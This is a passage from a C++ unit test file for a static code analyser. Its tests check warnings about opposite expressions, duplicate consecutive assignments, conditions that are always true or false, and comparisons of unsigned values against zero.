expression on both sides of '&&'. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if(a != !a) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (style) Opposite expression on both sides of '!='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( a == !(a) ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:24]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( a != !(a) ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:24]: (style) Opposite expression on both sides of '!='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( !(a) == a ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:27]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( !(a) != a ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:27]: (style) Opposite expression on both sides of '!='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( !(!a) == !(a) ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:28]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( !(!a) != !(a) ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:28]: (style) Opposite expression on both sides of '!='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f1(bool a) {\\n\"\n \" const bool b = a;\\n\"\n \" if( a == !(b) ) {}\\n\"\n \" if( b == !(a) ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:11]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\"\n \"[test.cpp:2:20] -> [test.cpp:4:11]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f2(const bool *a) {\\n\"\n \" const bool b = *a;\\n\"\n \" if( *a == !(b) ) {}\\n\"\n \" if( b == !(*a) ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:12]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\"\n \"[test.cpp:2:20] -> [test.cpp:4:11]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { a = !a; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a) { if( a < -a ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (style) Opposite expression on both sides of '<'. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(int a) { a -= -a; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a) { a = a / (-a); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int i){ return !((i - 1) & i); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(unsigned i){ return (x > 0) && (x & (x-1)) == 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void A::f(bool a, bool c)\\n\"\n \"{\\n\"\n \" const bool b = a;\\n\"\n \" if(c) { a = false; }\\n\"\n \" if(b && !a) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool c) {\\n\"\n \" const bool b = a;\\n\"\n \" if(c) { a = false; }\\n\"\n \" if(b && !a) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" bool x = a;\\n\"\n \" dostuff();\\n\"\n \" if (x && a) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" const bool b = g();\\n\"\n \" if (!b && g()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const bool *a) {\\n\"\n \" const bool b = a[42];\\n\"\n \" if( b == !(a[42]) ) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:21] -> [test.cpp:3:11]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(const bool *a) {\\n\"\n \" const bool b = a[42];\\n\"\n \" if( a[42] == !(b) ) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:21] -> [test.cpp:3:15]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(const bool *a) {\\n\"\n \" const bool b = *a;\\n\"\n \" if( b == !(*a) ) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:11]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(const bool *a) {\\n\"\n \" const bool b = *a;\\n\"\n \" if( *a == !(b) ) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:12]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(uint16_t u) {\\n\" // #9342\n \" if (u != (u & -u))\\n\"\n \" return false;\\n\"\n \" if (u != (-u & u))\\n\"\n \" return false;\\n\"\n \" return true;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateVarExpression() {\n check(\"int f() __attribute__((pure));\\n\"\n \"int g() __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int i = f();\\n\"\n \" int j = f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct Foo { int f() const; int g() const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct Foo { int f() const; int g() const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" Foo f2 = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:9] -> [test.cpp:5:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"int f() __attribute__((pure));\\n\"\n \"int g() __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int i = 1 + f();\\n\"\n \" int j = 1 + f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"int f() __attribute__((pure));\\n\"\n \"int g() __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int i = f() + 1;\\n\"\n \" int j = 1 + f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() __attribute__((pure));\\n\"\n \"int g() __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int x = f();\\n\"\n \" int i = x + 1;\\n\"\n \" int j = f() + 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() __attribute__((pure));\\n\"\n \"int g() __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int i = f() + f();\\n\"\n \" int j = f() + f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"int f(int) __attribute__((pure));\\n\"\n \"int g(int) __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int i = f(0);\\n\"\n \" int j = f(0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"int f(int) __attribute__((pure));\\n\"\n \"int g(int) __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" const int x = 0;\\n\"\n \" int i = f(0);\\n\"\n \" int j = f(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(const int * p, const int * q) {\\n\"\n \" int i = *p;\\n\"\n \" int j = *p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct A { int x; int y; };\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"void test() {\\n\"\n \" int i = 0;\\n\"\n \" int j = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test() {\\n\"\n \" int i = -1;\\n\"\n \" int j = -1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int);\\n\"\n \"void test() {\\n\"\n \" int i = f(0);\\n\"\n \" int j = f(1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f();\\n\"\n \"int g();\\n\"\n \"void test() {\\n\"\n \" int i = f() || f();\\n\"\n \" int j = f() && f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Foo {};\\n\"\n \"void test() {\\n\"\n \" Foo i = Foo();\\n\"\n \" Foo j = Foo();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Foo {};\\n\"\n \"void test() {\\n\"\n \" Foo i = Foo{};\\n\"\n \" Foo j = Foo{};\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Foo { int f() const; float g() const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct Foo { int f(); int g(); };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test() {\\n\"\n \" int i = f();\\n\"\n \" int j = f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(int x) {\\n\"\n \" int i = ++x;\\n\"\n \" int j = ++x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(int x) {\\n\"\n \" int i = x++;\\n\"\n \" int j = x++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(int x) {\\n\"\n \" int i = --x;\\n\"\n \" int j = --x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(int x) {\\n\"\n \" int i = x--;\\n\"\n \" int j = x--;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(int x) {\\n\"\n \" int i = x + 1;\\n\"\n \" int j = 1 + x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateVarExpressionUnique() {\n check(\"struct SW { int first; };\\n\"\n \"void foo(SW* x) {\\n\"\n \" int start = x->first;\\n\"\n \" int end = x->first;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'start' and 'end'. [duplicateAssignExpression]\\n\"\n \"[test.cpp:2:14]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct SW { int first; };\\n\"\n \"void foo(SW* x, int i, int j) {\\n\"\n \" int start = x->first;\\n\"\n \" int end = x->first;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'start' and 'end'. [duplicateAssignExpression]\\n\"\n \"[test.cpp:2:14]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct Foo { int f() const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"void test(const int * p) {\\n\"\n \" int i = *p;\\n\"\n \" int j = *p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct Foo { int f() const; int g(int) const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct Foo { int f() const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n }\n\n void duplicateVarExpressionAssign() {\n check(\"struct A { int x; int y; };\"\n \"void use(int);\\n\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \" use(i);\\n\"\n \" i = j;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct A { int x; int y; };\"\n \"void use(int);\\n\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \" use(j);\\n\"\n \" j = i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct A { int x; int y; };\"\n \"void use(int);\\n\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \" use(j);\\n\"\n \" if (i == j) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\"\n \"[test.cpp:3:14] -> [test.cpp:4:14] -> [test.cpp:6:11]: (style) The comparison 'i == j' is always true because 'i' and 'j' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"struct A { int x; int y; };\"\n \"void use(int);\\n\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \" use(j);\\n\"\n \" if (i == a.x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\"\n \"[test.cpp:3:14] -> [test.cpp:6:11]: (style) The comparison 'i == a.x' is always true because 'i' and 'a.x' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"struct A { int x; int y; };\"\n \"void use(int);\\n\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \" use(i);\\n\"\n \" if (j == a.x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\"\n \"[test.cpp:4:14] -> [test.cpp:6:11]: (style) The comparison 'j == a.x' is always true because 'j' and 'a.x' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n // Issue #8612\n check(\"struct P\\n\"\n \"{\\n\"\n \" void func();\\n\"\n \" bool operator==(const P&) const;\\n\"\n \"};\\n\"\n \"struct X\\n\"\n \"{\\n\"\n \" P first;\\n\"\n \" P second;\\n\"\n \"};\\n\"\n \"bool bar();\\n\"\n \"void baz(const P&);\\n\"\n \"void foo(const X& x)\\n\"\n \"{\\n\"\n \" P current = x.first;\\n\"\n \" P previous = x.first;\\n\"\n \" while (true)\\n\"\n \" {\\n\"\n \" baz(current);\\n\"\n \" if (bar() && previous == current)\\n\"\n \" {\\n\"\n \" current.func();\\n\"\n \" }\\n\"\n \" previous = current;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:16:7] -> [test.cpp:15:7]: (style, inconclusive) Same expression used in consecutive assignments of 'current' and 'previous'. [duplicateAssignExpression]\\n\", errout_str());\n }\n\n void duplicateVarExpressionCrash() {\n // Issue #8624\n check(\"struct X {\\n\"\n \" X();\\n\"\n \" int f() const;\\n\"\n \"};\\n\"\n \"void run() {\\n\"\n \" X x;\\n\"\n \" int a = x.f();\\n\"\n \" int b = x.f();\\n\"\n \" (void)a;\\n\"\n \" (void)b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:13] -> [test.cpp:7:13]: (style, inconclusive) Same expression used in consecutive assignments of 'a' and 'b'. [duplicateAssignExpression]\\n\", errout_str());\n\n // Issue #8712\n check(\"void f() {\\n\"\n \" unsigned char d;\\n\"\n \" d = d % 5;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template \\n\"\n \"T f() {\\n\"\n \" T x = T();\\n\"\n \"}\\n\"\n \"int &a = f();\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Issue #8713\n check(\"class A {\\n\"\n \" int64_t B = 32768;\\n\"\n \" P m = MakeP(B);\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" uint32_t a = 42;\\n\"\n \" uint32_t b = uint32_t(A ::B / 1024);\\n\"\n \" int32_t c = int32_t(a / b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Issue #8709\n check(\"a b;\\n\"\n \"void c() {\\n\"\n \" switch (d) { case b:; }\\n\"\n \" double e(b);\\n\"\n \" if(e <= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10718\n // Should probably not be inconclusive\n check(\"struct a {\\n\"\n \" int b() const;\\n\"\n \" auto c() -> decltype(0) {\\n\"\n \" a d;\\n\"\n \" int e = d.b(), f = d.b();\\n\"\n \" return e + f;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:20] -> [test.cpp:5:9]: (style, inconclusive) Same expression used in consecutive assignments of 'e' and 'f'. [duplicateAssignExpression]\\n\", errout_str());\n }\n\n void multiConditionSameExpression() {\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" if (val < 0) continue;\\n\"\n \" if ((val > 0)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:11]: (style) The comparison 'val < 0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:13] -> [test.cpp:4:12]: (style) The comparison 'val > 0' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" int *p = &val;n\"\n \" val = 1;\\n\"\n \" if (*p < 0) continue;\\n\"\n \" if ((*p > 0)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:8]: (style) Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" int *p = &val;\\n\"\n \" if (*p < 0) continue;\\n\"\n \" if ((*p > 0)) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:2] -> [test.cpp:3]: (style) The comparison '*p < 0' is always false.\\n\"\n \"[test.cpp:2] -> [test.cpp:4]: (style) The comparison '*p > 0' is always false.\\n\",\n \"[test.cpp:3:8]: (style) Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" if (val < 0) {\\n\"\n \" if ((val > 0)) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:11]: (style) The comparison 'val < 0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:13] -> [test.cpp:4:14]: (style) The comparison 'val > 0' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" if (val < 0) {\\n\"\n \" if ((val < 0)) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:11]: (style) The comparison 'val < 0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:13] -> [test.cpp:4:14]: (style) The comparison 'val < 0' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int activate = 0;\\n\"\n \" int foo = 0;\\n\"\n \" if (activate) {}\\n\"\n \" else if (foo) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkSignOfUnsignedVariable() {\n check(\"void foo() {\\n\"\n \" for(unsigned char i = 10; i >= 0; i--) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:31]: (style) Unsigned expression 'i' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(bool b) {\\n\"\n \" for(unsigned int i = 10; b || i >= 0; i--) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:35]: (style) Unsigned expression 'i' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n {\n const char code[] = \"void foo(unsigned int x) {\\n\"\n \" if (x < 0) {}\\n\"\n \"}\";\n check(code, true, false, true, false);\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n check(code, true, false, true, true);\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n }\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (x < 0u) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" if (x < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n {\n const char code[] = \"void foo(unsigned x) {\\n\"\n \" int y = 0;\\n\"\n \" if (x < y) {}\\n\"\n \"}\";\n check(code, true, false, true, false);\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n check(code, true, false, true, true);\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n }\n check(\"void foo(unsigned x) {\\n\"\n \" int y = 0;\\n\"\n \" if (b)\\n\"\n \" y = 1;\\n\"\n \" if (x < y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (0 > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (0UL > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" if (0 > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(unsigned int x, unsigned y) {\\n\"\n \" if (x - y >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Unsigned expression 'x-y' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (x >= 0ull) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" if (x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (0 <= x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (0ll <= x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" if (0 <= x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (x < 0 && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (x < 0 && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (0 > x && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (0 > x && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (x >= 0 && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (x >= 0 && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (y && x < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (y && x < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (y && 0 > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (y && 0 > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (y && x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (y && x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (x < 0 || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (x < 0 || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (0 > x || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. 